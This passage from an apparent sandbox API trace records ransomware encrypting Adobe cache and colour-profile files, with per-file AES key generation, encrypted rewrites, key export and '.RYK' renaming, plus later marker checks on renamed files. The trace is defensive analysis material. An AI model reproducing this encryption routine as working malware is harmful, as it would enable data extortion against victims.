	[0201.059] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\UserCache.bin" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\usercache.bin"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\UserCache.bin.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\usercache.bin.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 1614
	os_tid = 0x1f28

	[0200.351] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\ACECache11.lst", dwFileAttributes=0x80) returned 1
	[0200.351] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\ACECache11.lst" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\acecache11.lst"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e0
	[0200.352] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x930f898 | out: lpFileSize=0x930f898*=1180) returned 1
	[0200.352] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x930f8a8 | out: lpFileSize=0x930f8a8*=1180) returned 1
	[0200.352] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x37a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0200.356] ReadFile (in: hFile=0x3e0, lpBuffer=0x930f8f0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x930f860, lpOverlapped=0x0 | out: lpBuffer=0x930f8f0*, lpNumberOfBytesRead=0x930f860*=0x19, lpOverlapped=0x0) returned 1
	[0200.376] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0200.379] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x930f878 | out: phKey=0x930f878*=0x2b9290) returned 1
	[0200.379] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0200.379] ReadFile (in: hFile=0x3e0, lpBuffer=0x3290000, nNumberOfBytesToRead=0x49c, lpNumberOfBytesRead=0x930f884, lpOverlapped=0x0 | out: lpBuffer=0x3290000*, lpNumberOfBytesRead=0x930f884*=0x49c, lpOverlapped=0x0) returned 1
	[0200.380] CryptEncrypt (in: hKey=0x2b9290, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x930f880*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x930f880*=0xf4250) returned 1
	[0200.380] CryptEncrypt (in: hKey=0x2b9290, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3290000*, pdwDataLen=0x930f888*=0x49c, dwBufLen=0xf4250 | out: pbData=0x3290000*, pdwDataLen=0x930f888*=0x4a0) returned 1
	[0200.380] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0200.380] WriteFile (in: hFile=0x3e0, lpBuffer=0x3290000*, nNumberOfBytesToWrite=0x4a0, lpNumberOfBytesWritten=0x930f884, lpOverlapped=0x0 | out: lpBuffer=0x3290000*, lpNumberOfBytesWritten=0x930f884*=0x4a0, lpOverlapped=0x0) returned 1
	[0200.380] WriteFile (in: hFile=0x3e0, lpBuffer=0x930f8b0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x930f890, lpOverlapped=0x0 | out: lpBuffer=0x930f8b0*, lpNumberOfBytesWritten=0x930f890*=0x6, lpOverlapped=0x0) returned 1
	[0200.381] CryptExportKey (in: hKey=0x2b9290, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x930f8a0 | out: pbData=0x0*, pdwDataLen=0x930f8a0*=0x10c) returned 1
	[0200.381] CryptExportKey (in: hKey=0x2b9290, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x930f910, pdwDataLen=0x930f8a0 | out: pbData=0x930f910*, pdwDataLen=0x930f8a0*=0x10c) returned 1
	[0200.381] WriteFile (in: hFile=0x3e0, lpBuffer=0x930f910*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x930f890, lpOverlapped=0x0 | out: lpBuffer=0x930f910*, lpNumberOfBytesWritten=0x930f890*=0x10c, lpOverlapped=0x0) returned 1
	[0200.381] CloseHandle (hObject=0x3e0) returned 1
	[0201.022] CryptDestroyKey (hKey=0x2b9290) returned 1
	[0201.023] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\ACECache11.lst" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\acecache11.lst"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\ACECache11.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\acecache11.lst.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 1615
	os_tid = 0x1f2c

	[0200.371] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc", dwFileAttributes=0x80) returned 1
	[0200.372] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\profiles\\wscrgb.icc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0
	[0200.372] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x948f6b8 | out: lpFileSize=0x948f6b8*=66208) returned 1
	[0200.372] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x948f6c8 | out: lpFileSize=0x948f6c8*=66208) returned 1
	[0200.372] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x1017e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0200.372] ReadFile (in: hFile=0x3c0, lpBuffer=0x948f710, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x948f680, lpOverlapped=0x0 | out: lpBuffer=0x948f710*, lpNumberOfBytesRead=0x948f680*=0x19, lpOverlapped=0x0) returned 1
	[0200.514] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0200.514] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x948f698 | out: phKey=0x948f698*=0x2b8f10) returned 1
	[0200.515] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0200.515] ReadFile (in: hFile=0x3c0, lpBuffer=0x3390000, nNumberOfBytesToRead=0x102a0, lpNumberOfBytesRead=0x948f6a4, lpOverlapped=0x0 | out: lpBuffer=0x3390000*, lpNumberOfBytesRead=0x948f6a4*=0x102a0, lpOverlapped=0x0) returned 1
	[0200.536] CryptEncrypt (in: hKey=0x2b8f10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x948f6a0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x948f6a0*=0xf4250) returned 1
	[0200.536] CryptEncrypt (in: hKey=0x2b8f10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3390000*, pdwDataLen=0x948f6a8*=0x102a0, dwBufLen=0xf4250 | out: pbData=0x3390000*, pdwDataLen=0x948f6a8*=0x102b0) returned 1
	[0200.537] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0200.537] WriteFile (in: hFile=0x3c0, lpBuffer=0x3390000*, nNumberOfBytesToWrite=0x102b0, lpNumberOfBytesWritten=0x948f6a4, lpOverlapped=0x0 | out: lpBuffer=0x3390000*, lpNumberOfBytesWritten=0x948f6a4*=0x102b0, lpOverlapped=0x0) returned 1
	[0200.538] WriteFile (in: hFile=0x3c0, lpBuffer=0x948f6d0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x948f6b0, lpOverlapped=0x0 | out: lpBuffer=0x948f6d0*, lpNumberOfBytesWritten=0x948f6b0*=0x6, lpOverlapped=0x0) returned 1
	[0200.538] CryptExportKey (in: hKey=0x2b8f10, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x948f6c0 | out: pbData=0x0*, pdwDataLen=0x948f6c0*=0x10c) returned 1
	[0200.538] CryptExportKey (in: hKey=0x2b8f10, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x948f730, pdwDataLen=0x948f6c0 | out: pbData=0x948f730*, pdwDataLen=0x948f6c0*=0x10c) returned 1
	[0200.539] WriteFile (in: hFile=0x3c0, lpBuffer=0x948f730*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x948f6b0, lpOverlapped=0x0 | out: lpBuffer=0x948f730*, lpNumberOfBytesWritten=0x948f6b0*=0x10c, lpOverlapped=0x0) returned 1
	[0200.539] CloseHandle (hObject=0x3c0) returned 1
	[0201.085] CryptDestroyKey (hKey=0x2b8f10) returned 1
	[0201.085] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\profiles\\wscrgb.icc"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\profiles\\wscrgb.icc.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 1627
	os_tid = 0x1f58

	[0200.520] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc", dwFileAttributes=0x80) returned 1
	[0200.530] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\profiles\\wsrgb.icc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e4
	[0200.530] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x96ef798 | out: lpFileSize=0x96ef798*=2676) returned 1
	[0200.531] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x96ef7a8 | out: lpFileSize=0x96ef7a8*=2676) returned 1
	[0200.531] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x952, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0200.531] ReadFile (in: hFile=0x3e4, lpBuffer=0x96ef7f0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x96ef760, lpOverlapped=0x0 | out: lpBuffer=0x96ef7f0*, lpNumberOfBytesRead=0x96ef760*=0x19, lpOverlapped=0x0) returned 1
	[0200.569] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0200.569] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x96ef778 | out: phKey=0x96ef778*=0x2b9300) returned 1
	[0200.569] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0200.570] ReadFile (in: hFile=0x3e4, lpBuffer=0x3490000, nNumberOfBytesToRead=0xa74, lpNumberOfBytesRead=0x96ef784, lpOverlapped=0x0 | out: lpBuffer=0x3490000*, lpNumberOfBytesRead=0x96ef784*=0xa74, lpOverlapped=0x0) returned 1
	[0200.570] CryptEncrypt (in: hKey=0x2b9300, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x96ef780*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x96ef780*=0xf4250) returned 1
	[0200.570] CryptEncrypt (in: hKey=0x2b9300, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3490000*, pdwDataLen=0x96ef788*=0xa74, dwBufLen=0xf4250 | out: pbData=0x3490000*, pdwDataLen=0x96ef788*=0xa80) returned 1
	[0200.570] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0200.570] WriteFile (in: hFile=0x3e4, lpBuffer=0x3490000*, nNumberOfBytesToWrite=0xa80, lpNumberOfBytesWritten=0x96ef784, lpOverlapped=0x0 | out: lpBuffer=0x3490000*, lpNumberOfBytesWritten=0x96ef784*=0xa80, lpOverlapped=0x0) returned 1
	[0200.571] WriteFile (in: hFile=0x3e4, lpBuffer=0x96ef7b0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x96ef790, lpOverlapped=0x0 | out: lpBuffer=0x96ef7b0*, lpNumberOfBytesWritten=0x96ef790*=0x6, lpOverlapped=0x0) returned 1
	[0200.571] CryptExportKey (in: hKey=0x2b9300, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x96ef7a0 | out: pbData=0x0*, pdwDataLen=0x96ef7a0*=0x10c) returned 1
	[0200.571] CryptExportKey (in: hKey=0x2b9300, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x96ef810, pdwDataLen=0x96ef7a0 | out: pbData=0x96ef810*, pdwDataLen=0x96ef7a0*=0x10c) returned 1
	[0200.571] WriteFile (in: hFile=0x3e4, lpBuffer=0x96ef810*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x96ef790, lpOverlapped=0x0 | out: lpBuffer=0x96ef810*, lpNumberOfBytesWritten=0x96ef790*=0x10c, lpOverlapped=0x0) returned 1
	[0200.571] CloseHandle (hObject=0x3e4) returned 1
	[0201.105] CryptDestroyKey (hKey=0x2b9300) returned 1
	[0201.106] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\profiles\\wsrgb.icc"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\profiles\\wsrgb.icc.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 1640
	os_tid = 0x1f8c

	[0201.117] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst", dwFileAttributes=0x80) returned 0
	[0201.117] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\adobe\\acrobat\\10.0\\adobecmapfnt10.lst"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0201.118] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0201.118] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\adobe\\acrobat\\10.0\\adobecmapfnt10.lst"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\adobe\\acrobat\\10.0\\adobecmapfnt10.lst.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1641
	os_tid = 0x1f90

	[0201.133] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst", dwFileAttributes=0x80) returned 0
	[0201.133] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\adobe\\acrobat\\10.0\\adobesysfnt10.lst"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0201.133] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0201.134] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\adobe\\acrobat\\10.0\\adobesysfnt10.lst"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\adobe\\acrobat\\10.0\\adobesysfnt10.lst.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1642
	os_tid = 0x1f94

	[0201.151] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst", dwFileAttributes=0x80) returned 0
	[0201.151] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\adobe\\acrobat\\10.0\\cache\\acrofnt10.lst"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0201.151] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0201.152] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\adobe\\acrobat\\10.0\\cache\\acrofnt10.lst"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\adobe\\acrobat\\10.0\\cache\\acrofnt10.lst.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1643
	os_tid = 0x1f98

	[0201.547] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\10.0\\SharedDataEvents", dwFileAttributes=0x80) returned 0
	[0201.547] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\10.0\\SharedDataEvents" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\adobe\\acrobat\\10.0\\shareddataevents"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0201.547] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0201.548] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\10.0\\SharedDataEvents" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\adobe\\acrobat\\10.0\\shareddataevents"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\10.0\\SharedDataEvents.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\adobe\\acrobat\\10.0\\shareddataevents.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1648
	os_tid = 0x1fb0

	[0201.553] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\10.0\\UserCache.bin", dwFileAttributes=0x80) returned 0
	[0201.554] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\10.0\\UserCache.bin" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\adobe\\acrobat\\10.0\\usercache.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0201.554] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0201.554] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\10.0\\UserCache.bin" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\adobe\\acrobat\\10.0\\usercache.bin"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\10.0\\UserCache.bin.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\adobe\\acrobat\\10.0\\usercache.bin.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1649
	os_tid = 0x1fb4

	[0201.559] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Color\\ACECache11.lst.RYK", dwFileAttributes=0x80) returned 1
	[0201.559] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Color\\ACECache11.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\adobe\\color\\acecache11.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f8
	[0201.559] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x98ef5b8 | out: lpFileSize=0x98ef5b8*=1458) returned 1
	[0201.559] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x98ef5c8 | out: lpFileSize=0x98ef5c8*=1458) returned 1
	[0201.560] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x490, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0201.560] ReadFile (in: hFile=0x3f8, lpBuffer=0x98ef610, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x98ef580, lpOverlapped=0x0 | out: lpBuffer=0x98ef610*, lpNumberOfBytesRead=0x98ef580*=0x19, lpOverlapped=0x0) returned 1
	[0201.560] CloseHandle (hObject=0x3f8) returned 1

Thread:
	id = 1650
	os_tid = 0x1fb8

	[0201.568] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc.RYK", dwFileAttributes=0x80) returned 1
	[0201.569] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\adobe\\color\\profiles\\wscrgb.icc.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f8
	[0201.569] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x90bfc18 | out: lpFileSize=0x90bfc18*=66498) returned 1
	[0201.569] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x90bfc28 | out: lpFileSize=0x90bfc28*=66498) returned 1
	[0201.569] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x102a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0201.569] ReadFile (in: hFile=0x3f8, lpBuffer=0x90bfc70, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x90bfbe0, lpOverlapped=0x0 | out: lpBuffer=0x90bfc70*, lpNumberOfBytesRead=0x90bfbe0*=0x19, lpOverlapped=0x0) returned 1
	[0201.569] CloseHandle (hObject=0x3f8) returned 1

Thread:
	id = 1651
	os_tid = 0x1fbc

	[0201.576] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc.RYK", dwFileAttributes=0x80) returned 1
	[0201.576] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\adobe\\color\\profiles\\wsrgb.icc.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x404
	[0201.576] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x959f9d8 | out: lpFileSize=0x959f9d8*=2962) returned 1
	[0201.577] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x959f9e8 | out: lpFileSize=0x959f9e8*=2962) returned 1
	[0201.577] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0xa70, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0201.577] ReadFile (in: hFile=0x404, lpBuffer=0x959fa30, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x959f9a0, lpOverlapped=0x0 | out: lpBuffer=0x959fa30*, lpNumberOfBytesRead=0x959f9a0*=0x19, lpOverlapped=0x0) returned 1
	[0201.577] CloseHandle (hObject=0x404) returned 1

Thread:
	id = 1652
	os_tid = 0x1fc0

	[0201.582] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst.RYK", dwFileAttributes=0x80) returned 1
